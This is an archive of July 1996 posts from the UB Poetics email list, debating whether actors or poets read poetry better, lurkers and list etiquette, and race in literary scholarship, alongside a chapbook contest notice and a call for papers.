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136. **Joe Amato**
Re: Listpersonship/aldon/rvh
Mon 8 Jul 1996

---

but maria, isn't this just IT?... i mean isn't it exactly the case, *exactly*---that list politics, intentionally or otherwise, reflect the ongoing silencing of Other politics?... ergo attending to list politics, however one (which is to say, e.g., me) goes about same, is not merely an exercise in formal maneuvers, but a very (forgive me) *real* attempt not to be dismissive of such political undercurrents?... isn't it the case that issues of 'race, sociology and literary criticism' are over there (and where else could there be but print?) *and* over here?... i mean, if there's a there there, is there no here here?...

best,

joe

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137. **James Brook**
Re: poetry performance
Mon 8 Jul 1996

A case study of actors performing poetry:

Last fall in Paris I had the opportunity of hearing Bei Dao read at the new Maison de la Poesie at the recently renovated Theatre Moliere, sponsored by Covering Cherub Enterprises. Admission was 50 francs--about $10--which seemed a little high. But we had to pay twice: the young woman at the counter wanted to know whether we had "reservations." No, we didn't. She made a big show of consulting her list, shaking her head, and making discouraging sounds--before turning back to us and declaring that she *might* be able to get us in. We paid, got tickets, and were ushered to our numbered seats in the half-empty theater.

Exactly on time the curtain(!) was raised to reveal the backlit silhouettes of five people seated on stage: an actor (Michael Lonsdale), a presenter, a critic, an interpreter (not Bei Dao's translator), and, off to the side, the poet himself. I guess they were all getting paid out of the ticket price. . . .

At least there was no dramatic music. . . .

The presenter presented in a vaguely presentational way. The actor moved up to the podium and gave his idea of a "poetic" delivery of the French translation of a short poem. Bei Dao was asked to read it in Chinese. And then the critic jumped in and harassed the poet with a series of profound questions in the form of retarded little essays about "the difficulty" of Bei Dao's poetry and its "problematic condensation." These stupid remarks were interpreted for an annoyed-looking Bei Dao, who replied brusquely to the effect that poetry tended to be "difficult" and "condensed." And so on for two hours.

In the course of the evening we heard no more than a dozen poems--massacred by the actor, whose dramatic and strictly-from-wardrobe-romantic air contrasted sharply with Bei Dao's seriousness and intensity. But it was the critic who really monopolized the stage--the large mouth in a small frame couldn't contain itself. But of course the French have a horror of poetry, a horror expressed in curious ways: they elevate it into a spectacle for the culturati, they encapsulate it as part of "the national heritage," and they carefully wrap it in criticism. They prefer the package to the contents. Like so many people.

Progressing a few months in time while digressing just a little in topic, I should also report on another "performance" at the Maison de la Poesie at the Theatre Moliere sponsored by Songs of Experience et Cie: Michel Deguy in

Conversation with Jacques Derrida. This event was billed as a meeting between Poetry and Philosophy. I assure you that Philosophy won the match. Michel Deguy began by introducing himself and his "friend Jacques" and outlining their program: to engage in a dialogue on the reciprocal relations between their disciplines. Ever courteous and by his own admission a little unprepared for the occasion, Deguy asked Derrida to go first. Deguy was surprised to see Derrida pull a sheaf of papers several inches thick from his briefcase and begin reading--and reading and reading and reading and reading. In fact, Derrida read for almost an hour straight as he went through all the problems posed by the first words of one of Deguy's poems, which was written in the form of a love letter addressed to "Ma chair" [My flesh] instead of the more usual "Ma chere" [My dear]. There was no attempt at dialogue; Deguy was never questioned or given an opening. He just sat there in evident discomfort and astonishment, crossing and uncrossing his legs, unsure of where to put his hands. . . . I don't think that Derrida noticed the other obvious pun: "Ma chaire" [My pulpit, rostrum, university position]. When Derrida finally relented, Deguy said he didn't at all know how to reply to such a demonstration and so he finished the evening by reading a few unrelated journal entries and taking a few even less related questions from the audience.

Now, do I have to stress that my remarks are not an "attack" on actors, critics, or philosophers? They have their uses. But what I saw at these two events was a hatred for poetry that masqueraded as a love for poetry, a love that wished to consume its object, to become its object, to take the place of its object (Freudian references intended).

Your reporter,

James Brook

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138. Christopher Filkins
Re: poetry performance
Mon 8 Jul 1996

Dean & Tony's positions are misinformed. An actor emotes or doesn't emote according to the direction they receive. There is a reason why we have directors after all. The virtue of actors is their ability to chameleon anyone who comes their way. Do not slam actors as emoting fools when they can do so much more.

Christopher Filkins

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139. Henry Gould
Re: in defense of parasites
Mon 8 Jul 1996

Lurkers win my admiration for their self control. Now as I was saying about Charles S. Peirce...

Perhaps John Milton's classic SONNET (yall hear that? I said S*O*n*n*e*t) is appropriate here:

Thine e-air, Lord, doth buzz with eerie speed
Postings innumerable from fair and noir;
Oft over snail mail doth thine angels soar,
Froward to advance, or staunch impede
Eelecteronic eels athwart thy deep--
Yea, over hill and dale and chip and bleep
They fling their witty bits, or, bootless, weep;
Thus many a mungy wolf turn eep-eep sheep.

Yet I, gone blind from staring at yon screen,
Will not despair, nor call o'duty shirk;
These keys annoy not I; my fingers keen
Tap yet, yon delphic "Ode on a String Bean".
- Technohysterical, tis true - and yet - 'twill work!
They also serve, who only sit and lurk.

- Henry "Johnny B. Milt" Gould

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140. Judy Roitman
Re: poetry performance
Mon 8 Jul 1996

> *Hi Christopher Whipple. Response to your notion abt actors. Distaste for actors reading poetry for me goes with the felt difference between stand-ups and actors. "Stand-ups can't act" is a way of noticing that stand-ups do not seem to know they are assuming a role (even though, of course, they are). Actors always assume roles. Rather than actors you want really good poet-readers. Last year I had the pleasure of hearing Robert Creeley reading Williams et al.*

Amen. There was also the radio reading of Whitman with the Prairie Home Companion guy, the Deliverance guy (is my memory correct?) and Allen Ginsberg. The first two were self-conscious and silly, but AG's reading was tremendously illuminating. He *inhabited* Whitman's line is if it were his true home (why not? since it is). No change (to parallel Tony Green) from AG reading AG,

but, as Tony put it, "a real intelligent sense of what the text was doing at any point."

Worth finding if anyone knows how to find it.

---------- Judy Roitman
| "Glad to have Math, University of Kansas | these copies of things
Lawrence, KS 66045 | after a while." [redacted]
| Larry Eigner, 1927-1996

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141. **Dean Taciuch**
Re: poetry performance
Mon 8 Jul 1996

> *Dean & Tony's positions are misinformed.*

Not speaking for Tony Green, but I may in fact be uninformed rather than mis-informed (I'm not actor, never studied acting, etc). But it is the actor's "abilty to chameleon" that may be the problem. I'm not saying they are "emoting fools"; the question is one of focus--an actor looks for a character to get into. Yes, actors have directors--but poets don't, you see. Would an actor assume the character of the poet whose work is being read? That misses the point, doesn't it? So would, I fear, any attempt to "act" a poem out--it places the focus elsewhere (on character, emotion, story) rather than on the language. It shows, I think, a distrust of the audience as well--the idea that poetry needs to be a bit predigested (by the actor or director), already worked out so that the masses can more easily absorb it. So I'm not knocking actors--but performing poetry is not acting. . .

Dean Taciuch

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142. **maria damon**
Re: Listpersonship/aldon/rvh
Mon 8 Jul 1996

In message <[redacted]> joe a writes:
> but maria, isn't this just IT?... i mean isn't it exactly the case,
> *exactly*---that list politics, intentionally or otherwise, reflect the
> ongoing silencing of Other politics?... ergo attending to list politics,
> however one (which is to say, e.g., me) goes about same, is not merely an
> exercise in formal maneuvers, but a very (forgive me) *real* attempt not to
> be dismissive of such political undercurrents?... isn't it the case that

> issues of 'race, sociology and literary criticism' are over there (and
> where else could there be but print?) *and* over here?... i mean, if
> there's a there there, is there no here here?...
>
>
With all due respect, joe, for your politics and the sophistication thereof, no, i don't think the discussion of whether or not bob von hallberg signs onto POETIX is the same as a discussion of how to do responsible, anti-racist scholarship in poetry and poetics. I was hoping for a discussion of the latter, not the former.
so, how DO we respond, in our scholarship, to the challenges posed by both Bob and Aldon in their point counterpoint, regardless of who is quoting whom more accurately?
md

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143. Robert Drake
Re: Listpersonship
Mon 8 Jul 1996

> *... a modest proposal*

that wouldnt be a Litterary ILLusion, would it? there, my post fr th month, and only 8 days into it...

lbd

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144. Elisabeth W. Joyce
in defense of parasites
Mon 8 Jul 1996

In Defense of Parasites

As a silent lurker on this list, I find a need to respond to Ron Silliman's remarks about lurkers as parasites. Yes, I am a parasite, but not in the sense that I want to kill the list, to suck out of it all of its essences. Instead, I think of myself in terms of the food which the list offers me and which I digest in thoughtful silence. I recall scoffing at silent members of classes in graduate school, thinking that they were not effectively immersed in their pursuits, but in retrospect perhaps I misjudged them. I am not on the cutting edge of the field, nor will I ever be, but I am deeply invested in it and in what it means to me. I teach a heavy load of courses and have two small children. I live in relative isolation. The poetics list is a lifeline for me, composed of active intellectuals engaged in

response to social and political effects on literature (poetry!). I payattention to what you say; I am learning here. I sift through your endless reams of material fo r the more often than not superlative assessments of awide range of topics. I am inspired by your reading lists. I am even moved by you (to tears even) as when you eulogized Larry Eigner, bringing in his life, his personality, and as always, his poetry. I am a reasonably active scholar, but I can't speak right now--perhaps later when my life is less strapped--but this doesn't mean that parasites are a negative force on this list. Rather, I would suggest, we are an everpresent supportive force, tha t audience which poetry often fears it lacks.

Lisa Joyce ([redacted])

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145. **maria damon**
Re: Listpersonship/aldon/rvh
Mon 8 Jul 1996

In message <v01520d00ae069d8574ae@[205.134.228.153]> UB Poetics discussion
group writes:
> At 12:19 PM 7/8/96, maria damon wrote:
> >i'm somewhat struck by how a discussion about race, sociology and literary
> >criticism has turned into a discussion of list etiquette. this is indeed
> >one of
> >the problems i think rob wilson touches on in his scathing "covering
cherub"
> >posts. volatile issues of materialist criticism get watered down into an
> >internicene critique of our own teensy weensy little hierarchy of
> >poetry-critics
>
> Poetry-critics? Am I naive in my assumption that the poetics list was at
> least originally intended as a place for the discussion of poetics by
> *poets*?
>
> > this not to say that any one remark about list-politics and academic
> > politics
> >is trivial or ill-directed, but the cumulative effect of what draws
> discussion
> >and what dies in silence is noteworthy. likewise, chris s's query last week
> >about erotics and race, or aldon's challenge to the view that interracial
> >sex is
> >politicallly radical both got no pick-up.
>

> Again, this is a *poetics* list. I'm sorry, but I find this
> holier-than-though attitude of your post very offensive, this accusing of
> 400 people of racism because no once picked up on threads that *you* found
> important.
>
> Dodie Bellamy

i'm puzzled. this is the second time since the conference that you've come down on me for holier than thouness; both times, i've felt misrepresented in the way you characterize my posts. i have not accused anyone of racism, nor in general would i, since i find that kind of personal judgement to be counterproductive and not too meaningful. i'm saying i was disappointed at the way the discussion went. in my reference to poetry-critics, i was referring specifically to the discussion of robert von hallberg's presence and/or absence on the list and what it means. he is a critic rather than a poet; aldon too is a subject in this discussion, and it is true that he is a poet, but it was his work as a critic that was being discussed. i think "senior scholars" is the term joe used. bests, md

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146. David Baratier
Chapbook Contest
Mon 8 Jul 1996

Pavement Saw Press 1996/1997 chapbook contest

$500 and 25 copies of the winning chapbook will be awarded for the finest collection of poetry received. The judge will be announced in an upcoming issue of AWP and Poet's and Writer's. Submit up to 32 pages of poetry. Include a cover letter with your name, address, phone number, poem titles, publication credits, and a brief biography. Do not enclude your name anywhere on the manuscript. Entry fee: $7. Make all checks payable to _Pavement Saw Press_. All entries must be postmarked by December 20, 1996, for consideration in this year's contest. Each entrant will receive a copy of the winning chapbook provided a 6 1/2 by 9 1/2 SASE with $1.01 in postage is included. All manuscripts will be recycled. Send all entries to:

Pavement Saw Press
Chapbook Contest
7 James Street
Scotia, NY 12302

About last years winner:

Pavement Saw Press
proudly announces the winner of our 1995-1996 chapbook award:

Permutations of the Gallery
by Joshua McKinney

Poems from this collection first appeared in publications such as the Columbia Poetry Review, Denver Quarterly, Situation, Santa Barbara Review, and Willow Springs.

Publication, a prize of five hundred dollars and ten percent of the book run are awarded to the winner of the annual prize. *Permutations of the Gallery* was selected by Naton Leslie as the 1996 winner of the Pavement Saw Poetry Chapbook Award.

About the book:

Permutations of the Gallery is an ambitious collection, even if recklessly so. Joshua McKinney's poems struggle against the confines of syntax and literal sense, in order to arrive at a uniquely clear grasp of the truces we must maintain with time and spacial existence. To attempt to paraphrase these knotty and paradoxical poems would be akin to stating that Wallace Stevens wrote about the weather. Don't search for narrative threads here, poems about Queen Anne's Lace or cicadas, or paeans for our humdrum, domestic lives. And don't expect to read this book once. Naton Leslie

Joshua McKinney knows that philosophy is not an abstract matter, nor in anyway separate from our everyday lives. His poems show that to engage the world intimately, we need to _think_ it in the most particular ways. In *Permutations of the Gallery* family friends, nature, and a troubling social world are not givens, but rather questions by which we explore the twisting, disruptive, estatic, sometimes even annihilating terms of our existence.

Mark Wallace

A poetry held taut, that revels in economy and clarity, is filled with insights and syntactical compassion. I highly recommend *Permutations of the Gallery*. Simon Perchik

Published in a limited edition of 250 copies, perfect bound, 6 by 9 size

Price $5.00, includes postage & handling. Checks payable to:

Pavement Saw Press
7 James Street
Scotia, NY 12302

Thanks

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147. Gabrielle Welford
Re: in defense of parasites
Mon 8 Jul 1996

Just wanted to thank Elizabeth Joyce for her heartfelt message about lurking. Me too, small kids, lots of work and lots of learning. Also occasional bleeps. Ron, you can't have meant US!! :-) What sort of creature were you thinking of? gab.

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148. Gabrielle Welford
Ekphrastic Poetry by Women (9/15/96; NEMLA 4/4-4/5) (fwd)
Mon 8 Jul 1996

North East Modern Language Association
April 4-5, 1997
Philadelphia, PA

Session: Image and Text Topic: Ekphrastic Poetry by Women There has been considerable interest recently in the genre of ekphrastic poetry, that is, in A.J. Heffernan's useful phrase, poems which are "verbal representations of visual representations." W.J.T. Mitchell has discussed the tendency of poems in the ekphrastic tradition to treat the image as a "female other." The genre, he writes, "tends to describe an object of visual pleasure and fascination from a masculine perspective, often to an audience understood to be masculine as well." Somewhat offhandedly, he con- tinues: "All this would look quite different, of course, if my emphasis had been on ekphrastic poetry by women." The session seeks papers which put the emphasis exaclty there, papers which discuss poetry in which the speaking and seeing subject of the text is a woman. Can a "female gaze" be characterized? What does it mean when a woman is in the position of viewer, respondent, "envoicer," maker of the poetic meaning. How do ekphrastic poems written by women complicate current theories of ekphrasis? Other critical questions that arise in this context: why this painting, and why now? What does it reveal about the poet's temperament, her character, her situation in time and place? what does it reveal about her sense of self as artist, her aesthetic, political and moral position vis-a-vis her chosen painter? Papers are invited about all historical periods.

Prospective panelists need not be members of NEMLA to submit a proposal; but selected panelists must be members of NEMLA by November 1, 1996 in order to have their names included in the convention program. Send a brief abstract of your paper, postmarked no later than September 15, 1996 to the

following address or email. Selected panelists will be notified no later than October 15,[redacted].

Sara Lundquist
Department of English
University of Toledo
Toledo, OH 43606
email: [redacted]

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149. Joe Amato

Re: Listpersonship/aldon/rvh

Mon 8 Jul 1996

---

maria, listen: let me set my own record straight here, or gay, or whatever, and w/o any rancor (really!): i find a certain degree of discomfort---aside from my intentionally (there i go again ron, shit!) provocative remarks addressed 'at' my neighbor, robert von hallberg---who, as i say, i've never met, but who teaches right down the street from me---i find a certain degree of discomfort in debating 'about' the point-counterpoint discussion twixt aldon and robert, w/o robert being t/here...

you wanna know what i think?... for one, i found robert von hallberg's remarks to be---

but you see, whereas i might backchannel my response to you and others with whom i feel a certain affinity---friendship, trust---and have over time owing to our online interaction, to go public with my opines given robert's 'entrance' on this list just doesn't feel right to me, i can't help it... this is a feeling i get, and i think it's justified... and so i'm stuck with examining why i feel so, and how this is a function of how this list discussion works...

and of course, were robert to make a formal entrance, i think you know me well enough to know that i wouldn't be shy about agreeing or disagreeing etc...

that said, i think i can offer this much as a relative rule-of-thumb from my pov: i tend to measure comments that have to do with minority and ethnic textual representation in terms of how well these latter play to my idea of good pedagogy, and good curricula... i mean to say that, aside from issues of canonicity per se, there are issues here having to do with WHO the students are who are being taught, of what their needs are, of where they're coming from, and of what we think we should be teaching them and how this plays off against their needs...

maria, just imagine what i think of certain comments made wrt this latter tendency of mine to measure same against pedagogy and curricula...

best,

joe

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150. Eliza McGrand- CVA Guest

performance & poetry: "measure carefully, can be toxic"

Mon 8 Jul 1996

---

i don't think it is a matter of actor/non-actor/poet reading as it is the way the poetry is read, the experience of the reader with poetry reading and audience, the dynamics of the situation.

i have heard more than anyone's share of poets reading badly. one all too common and painful scenario is the Dramatic Reader. acting and dramatic reading is, as one might expect, a highly skilled art, not to be embarked upon by the extravagantly undertalented. too often, a new writer will write a shaky melodramatic paraphrase of all the shaky melodramatic works written since the dawn of time. the ethos of reading for such work is an earnest, admonitory expression, lots of william shatner pauses, and a speeded-up pace whose only virtue is that it ends the exhibition more quickly. the melodramatic pauses and sudden shreiked words, no doubt inserted at the urging of some would-be instructor or other to "make it interesting," have all the lethal quality of high school plays.

on the other hand, i have, myself, succumbed to the I Am A Poet Reading Poetry style -- monotone, odd pronounciation, rhythm subsumed to a throaty growl, eyes glued to the page. i don't know why i succumb to this; can only guess that one sees it at enough respectable readings to make it the default.

the finest readers i've heard -- grace paley, galway kinnel, adrienne rich, martin espada, alicia ostriker, tim o'brien and larry heineman (prose), maxine kumin, carolyn forche, [doubtless more but i want to get on with this] -- tend to 1) read very slowly; poetry is compressed, tight, and requires much more work to parse, so if it is read too fast, it deconstructs into a blur of nothing; 2) seem, as larry heinemann has put it, to "see/hear/feel" the images as they read them. in other words, as the reader reads, they too are experiencing the writing. it lingers where a listener needs time to hear, speeds up where a listener is eager to hear more; 3) have enough confidence in the material not to need to jazz it up with shatnerian excesses (ala flannery o'connor quote in someone's signature ~ 'i've had as much of this pleasure as i can stand').

one reading comes to mind particularly -- martin espada reading with a jazz band. it sounds as if it would be horrible and i wasn't expecting much but it was one of the most extraordinary experiences of poetry i've ever had. martin has a deep basso voice, flexible, burred, resonant. he waited, took in the

rhythm of the jazz peice, then entered combining rhythm of poem and rhythm of music. paused. listened. let the music make itself part of the sound in a compelling way.

if i were putting together a collection of performed work, i'd listen for non-hoakey readings (dylan thomas' "child's christmas in wales" is a gorgeous antithesis of hoakey -- really lovely, resonant, hypnotic). and only use people i'd heard reading the peice. no room for surprises. and emphasize slowness, respect and tenderness for the words rather than efforts to make them more exciting.

for WWI poets, MUST BE SLOW. poems are extraordinary stories, and if not paused over, heard, then becomes a jumble of rhymes.

also, i don't see any women writers in there and i also wish i did. norton anthology of literature by women, as well as magazines of the time, are good source material. i've always wanted to hear more of how women of that time experienced WWI. i had a teacher in high school who lost her two shining older brothers, her lover, her cousins -- an entire generation of british men were wiped out in that ghastly mess. she went to germany after wwII to the camps, part of her committment after WWI to not glorifying military, and translated for DP's. of camps, she has said only "i'll never forget the smell as i went through the gate that first day. never." and first women nurses were going over with nightingale in wwI. i think there must be some extrardinary women's writing from them.

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151. Pritchett,Pat
Re: poetry performance
Mon 8 Jul 1996

I would just add that the moment anyone "stands up" in front of someone else to speak that moment "becomes" theatrical and those who ignore this do so at their (and their audience's) peril. Actors can enhance a text; they can also make a hash of it. The key (as someone mentioned) is the presence of a director.

All of this begs the question, Is the poet always and necessarily the best reader of his/her own work? Usually, yes. But not always. I've heard some real botches, generally from people with a very poor notion of the intrinsic theatricality of even the most perfunctory spoken exchange. To assume that just standing there and "telling the truth" as James Cagney once described acting can result in readings that are painfully bad in their naivete. And also very powerful.

I think readings are both theatrical and anti-theatrical. That is, the encounter between the reader and the audience creates ipso facto a theatrical experience, but one which is anti-theatrical in that it forces our attention away from the expectations usually aroused by the idea of a performance.

Valery said the best way to read a poem is very plainly and without any adornment. Well, yes and no.

Patrick Pritchett

From: Judy Roitman
To: Multiple recipients of list POETICS
Subject: Re: poetry performance
Date: Monday, July 08, 1996 2:57PM

<<File Attachment: HEADERS.TXT>>

> *Hi Christopher Whipple. Response to your notion abt actors. Distaste for actors reading poetry for me goes with the felt difference between stand-ups and actors. "Stand-ups can't act" is a way of noticing that stand-ups do not seem to know they are assuming a role (even though, of course, they are). Actors always assume roles. Rather than actors you want really good poet-readers. Last year I had the pleasure of hearing Robert Creeley reading Williams et al.*

Amen. There was also the radio reading of Whitman with the Prairie Home Companion guy, the Deliverance guy (is my memory correct?) and Allen Ginsberg. The first two were self-conscious and silly, but AG's reading was tremendously illuminating. He *inhabited* Whitman's line is if it were his true home (why not? since it is). No change (to parallel Tony Green) from AG reading AG, but, as Tony put it, "a real intelligent sense of what the text was doing at any point."

Worth finding if anyone knows how to find it.

---------- Judy Roitman
| "Glad to have Math, University of Kansas | these copies of things
Lawrence, KS 66045 | after a while." [redacted]
| Larry Eigner, 1927-1996

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152. Charles Alexander
Re: performance & poetry: "measure carefully, can be toxic"
Mon 8 Jul 1996

> *i don't think it is a matter of actor/non-actor/poet reading as it is the way the poetry is read, the experience of the reader with poetry reading and audience, the dynamics of the situation.*

absolutely. And more, too, a kind of tuning, reader to what is read to audience. For often so much depends on this syllable with that, move to a particular kind of liquid consonant, or fricative, and echoing that two or three lines later with something else which one wants to be heard but which one doesn't want to stress too much. this is attention to the language at hand, having possibly nothing to do with "character." Yet there is also a personality projected in a reading. Lyn Hejinian does it very well; Mei-mei Berssenbrugge is extraordinary; Leslie Scalapino is captivating. And others. I like to think that great work is easy to read well -- it actually helps the reader. But still it may require some unusual attentions. Attentions which may not be at all easy for any actor, and which the writer may embody differently on different occasions, to more or less success.

Glad to hear of the success of a Martin Espada reading -- I heard him a couple of times early on, when he was a student, and then it seemed over-dramatized to the point that I didn't want to listen. But then bp Nichol's readings/sound poetry performances were extremely animated, and they are about the best I have ever heard.

charles

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153. Joseph Zitt
Re: Listpersonship
Mon 8 Jul 1996

On 7 Jul 96 at 20:15, Ron Silliman wrote:

> *If I were feeling intemperate (and I have my moments), I'd be inclined to suggest a rule on the order of deleting anyone who doesn't contribute to the discussion, say, once per month.*

Hmm... I'd much rather see those of us who have little to say remain active listeners rather than speaking just to be heard. I'm a newbie to poetics, and am learning a lot reading the list. When I have something to say, I do so, but I try not to when I don't. ---------1---------1---------1---------1---------1---------1---------- |||/ Joseph Zitt ==== [redacted] ===== Human Systems \||| ||/ Organizer,

SILENCE: The John Cage Mailing List \|| |/<A HREF="http://www.realtime.net/~jzitt/">Joe Zitt's Home Page</A>\|

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154. David Baratier
Re: Perchik
Mon 8 Jul 1996

Aldon

Perchik's selected poems have a number of textual problems which lead me to recommend the originals, if possible. The poems are manically compressed onto the page space in such a fashion that renders them either inadequately represented (through the loss of a readers eye) or unfathomable without extensive page flipping. The editors of this series decided to clump the work together as close as possible, instead of the full-page-per-poem demands of a syntax driven syndoche. Be well.

David Baratier

---- David -- I had been aware of that via the old Perchik _Selected_; but the book as a whole had left a bad feeling in me that kept mt from returning to it -- Now, I'd like to take a look at the fuller sequences (the Frank series in the selected appears to be less than half the sequence?) Will give Simon a second try on your advice --

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155. Judy Roitman
Re: performance & poetry: "measure carefully, can be toxic"
Mon 8 Jul 1996

> *i'd listen*
> *for non-hoakey readings (dylan thomas' "child's christmas in wales" is*
> *a gorgeous antithesis of hoakey*

Interesting. That reading *defines* hokey for me.

My husband (Stan Lombardo) recently gave a selected reading from his forthcoming translation of the Iliad (publ: Hackett), working with a director and a percussionist. It was great, and I'm a very tough critic of Stan's readings. The director definitely did something good. But he was working with a poet, not an actor, and was sympathetic to the difference.

---- Judy Roitman
| "Glad to have Math, University of Kansas | these copies of things

Lawrence, KS 66045 | after a while." [redacted]
| Larry Eigner, 1927-1996

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156. Gabrielle Welford
think of meeee!
Mon 8 Jul 1996

Going for an interview at a community college for a lit teaching job this afternoon (my first serious interview) so please send blessings this way at 3 p.m my time (3 hours behind SF), oh good people. gab.

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157. Lisa Samuels
Re: performance & poetry: "measure carefully, can be toxic"
Mon 8 Jul 1996

---

for poetry performance: i still want to see someone
at least *begin* a reading from behind an opaque
black (or whatever) curtain
-or-
put an enormous mirror in front of the curtain so the
audience sees only itself for a while (small venue
and large mirror required)
-or/and-
position mirrors on either side of the stage so
the audience can see the poet from the sides only,
still behind the curtain

something along those lines

and for eliza mcgrand --
as for #3, i prefer the phrasing of a country song:
'I've enjoyed as much of this as I can stand'

my month's worth,

lisa samuels

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158. **wystan**
Re: in defense of parasites
Mon 8 Jul 1996

Dear lisa,
good work. you can stay on the list for another month.

seriously though, ron didn't mean it. i who never mean it could add modest proposals of my own and so trivialise discussions of race, sex and class even further... think up rules specific to specific people. like if ron really loses his temper that's it, he's out. the list citizenship of boomers debating the merits of beatles and stones is already in question i understand ...

hope to hear from you more

wystan

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159. **wystan**
Re: performance & poetry: "measure carefully, can be toxic"
Mon 8 Jul 1996

---

dear eliza, i don't think poets read badly or well. (thinking back to the post which kicked this off, everyone responded to the actor's do it better bit, but what about Mr Whipple's abhorrence for coffee house readings upon the preference was predicated? for myself coffeehouses, or bars, disused churches, stinking holes in the wall ... are where I hear poetry. Actors read poems on stages, in school assembly halls, well appointed community centres... places i don't go. but where i really want to read myself next is in this great indoor rock-climbing place) poets have good days and bad days, but in my experience they read their work as they mean it to be heard and if it doesn't sound good to you then its poetry you don't like. wystan

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160. **Loss Glazier**
Server failures
Mon 8 Jul 1996

If you have trouble retrieving files or otherwise accessing the EPC, please keep trying intermittently. The hardware folks are having some problems with the machines so things that are really there at the EPC sometimes give you 'do not exist' error messages. Hopefully, these problems will be resolved soon!

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161. Loss Glazier
Private List/Public Space
Mon 8 Jul 1996

>okay keith, cool. good points all. i didn't realize we cd be cited in books
>w/out our permission. i'll have to start watching my tongue, my back, my mind
>and my fingers. bests, maria d

My 'read' on how this list is private is that the attempt is to keep it small in size. (A list in general is many things but most tend towards enormous sizes, fantasy-tinged anonymity, and a climate where hit-and-run incidents of spamming and flaming are considered, just like having a tv blaring in the room, normal.)
I think the goal here is to aim for a size where we can know each other as much as would be possible in a non-virtual world (if there could be that many jobs in one place).

As for being cited, this is how I'd think of it. In contrast to conversation, where one is rarely cited, a post to the list is like a post on a bulletin board in the hallway. It is a comment made in public. Though not considered 'formal' writing, I think some things get cited because the informality that nurtures them also gives them a liveliness that says more than is said elsewhere. (Well, ok. In addition, messages are also archived.)

And let's face it. In certain areas such as the discussion of new books and reports on conferences (crucial nutrients for many of our interests!) the print medium has long abandoned us. (As such we may be cited the way a comment in a _good_ book review is occasionally cited) A list such as this can be a 'journal' in a truer sense that 'The Journal of ...'.

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162. Loss Glazier
!Orono Online!
Mon 8 Jul 1996

50s in Orono: the Reviews an online 'book' collecting reviews and comments upon the Orono conference will soon be announced as an active URL. If you were at the conference and were thinking of posting your reactions, please do so soon!

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163. **Emily Lloyd**
maria--/& performance
Mon 8 Jul 1996

Maria--didn't find your post offensive at all & think that yes, which threads do and don't get picked up merits observation, mention, critical examination etc., & thank you for boldly calling attention to it. I myself kept Chris S.'s post in my in-box for days, challenged & wanting to respond, & eventually giving up because I just didn't feel qualified to. I've been studying race and representation for years, & the more I study, the less qualified I feel to speak. Mostly I got worried & a little nauseated at the prospect of a predominantly-white-membered list discussing "race & erotics," esp. in the assertive and "I know what I'm talking about" voice many conversations here seem to take, even as I also get worried & perhaps more than a little nauseated at the prospect of same list skirting those issues. This is why I didn't respond. I personally couldn't care less about whether or not R V H signs on to the list, so I could post about it (although I won't) all day. It is not because I didn't care about the issues raised in CS's post that I didn't respond, but because I cared too much to respond quickly & maybe at all. & yes I'm aware this might sound sappy or irresponsible. But because I was worried & unsure how/if to proceed, holding off the procession seemed most "responsible" at the time. I'm not sure it was and--this sounds facetious but is meant sincerely--I'm sorry for not knowing, not being sure. It may be that others felt similarly-- ? --emily

On performance-- Wystan, I can't agree that all poets read their work the way they mean it to be heard. There's that nerves thing: some folks just can't read in front of others. I've got a friend who, in front of a group: tongue death, stuttering, accidental automatic reading of earlier drafts, self-corrections in medias res, etc. It's painful to watch him--especially, I think, because he *is* such an interesting poet--when he reads, you'd hardly know. On the other hand, some poets who are great readers read not "as they mean [the poem] to be heard," but as they mean it to be *read* (on the page, in the reader's head)--meaning, the reading is captivating but it just ain't there on the page. I know that when I began reading my live linebreaks were rarely the same as my page linebreaks--I was so into the rhythm that when I looked on the page I saw the one I was reading out loud, but *nobody* else would. Since fixed, but always a challenge for me. That said, best of luck in getting to read in the indoor rock-climbing place--that sounds fabulous--& I wonder if fake cliffs cause echoes--

Eliza--I think it was you who brought up "poetry voice"---that monotone thing so many seem to slip into? <laughing> I think I would rather hear Sally Field read than someone afflicted with poetry voice, all misplaced accents & drones. In less patient days, when that started to happen at readings, I'd get up and read "I...am at a PO-e-TRY...READ-ING...and ALL...of the PO-ETS...have

FOUND...their VOICE...and it ALL..SOUNDS....like THIS" etc. Like it wasn't enough to sit through Keanu Reeves playing Siddhartha.

~~~~~~

Emily Lloyd [redacted]
"Emily said Emily said, Emily
is admittedly Emily." --G. Stein

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164. maria damon

Re: Listpersonship/aldon/rvh

Mon 8 Jul 1996

In message <[redacted]> UB Poetics discussion
group writes:
> maria, listen: let me set my own record straight here, or gay, or
> whatever, and w/o any rancor (really!): i find a certain degree of
> discomfort---aside from my intentionally (there i go again ron, shit!)
> provocative remarks addressed 'at' my neighbor, robert von hallberg---who,
> as i say, i've never met, but who teaches right down the street from me---i
> find a certain degree of discomfort in debating 'about' the
> point-counterpoint discussion twixt aldon and robert, w/o robert being
> t/here...
>
> you wanna know what i think?... for one, i found robert von hallberg's
> remarks to be---
>
..etc

joe: listen, (no rancor detected in your comments, none intended in mine) it makes perfect sense to me that you'd want someone to be present when his comments were being discussed. i get it; it's ethical. it's just that i thought some of the issues raised by aldon and robert were really interesting --pedagogically (tho i hate that word), in terms of how we go about doing our scholarship and presenting it, etc... and i was disappointed to see those go unresponded to. for example, as i sd in my longish post, i don't consider my primary responsibility to be canon-building; thus i don't weigh "merit" in terms of modernist aesthetic values when i decide what to teach or write on. i do, though, have definite tastes, which are, willy-nilly, shaped by those values --heck, that's what i learned in school. the issue of what r von h considers condescension is also interesting to me. i don't see "universality" per se --if there is a per se --to be what writers should necessarily strive for (as few "shoulds" as possible) and i don't think the criterion for great writing should be its "universal" appeal. but
~~~~~~

there is a movement currently away from particularism in favor of SOME kind of universalism, tho that is constantly in tension with our sense of how vexed that term is. i've been interested to see folks i wouldn't have expected come to some kind of appeal to "universalism" in a way that would have been hard to imagine 15 years ago. at the same time, people seem to be qualifying it: "Jewish universalism", "marxist universalism" etc. I'm not sure quite what this means either, except that it announces the point of view from which everything is universalized (i think). From what i could gather of Bob's talk on Hayden, as well as his comments at the end of that panel (i was there, and i remember hearing it as aldon reported, tho i was not especially troubled by it --it just seemed like business as usual), he was not interrogating the category of universalism, or inflecting it in any way that moved it out of the vexed presumption-of-normative-values critical category; i'd like him to be on the list so we could find out if he really means that pound, eliot, etc set a standard other writers shd meet or if he means something different --perhaps more like what blurbs on bookcovers of books by writers of color appeal to the book's "universal appeal" --i.e. this is n't "just" an African-American book, etc. Both uses of the term are problematic, but is this really what he meant? I was touched by his reply because it was about ideas and a desire to be understood; though as i have sd, we come from very different places critically.

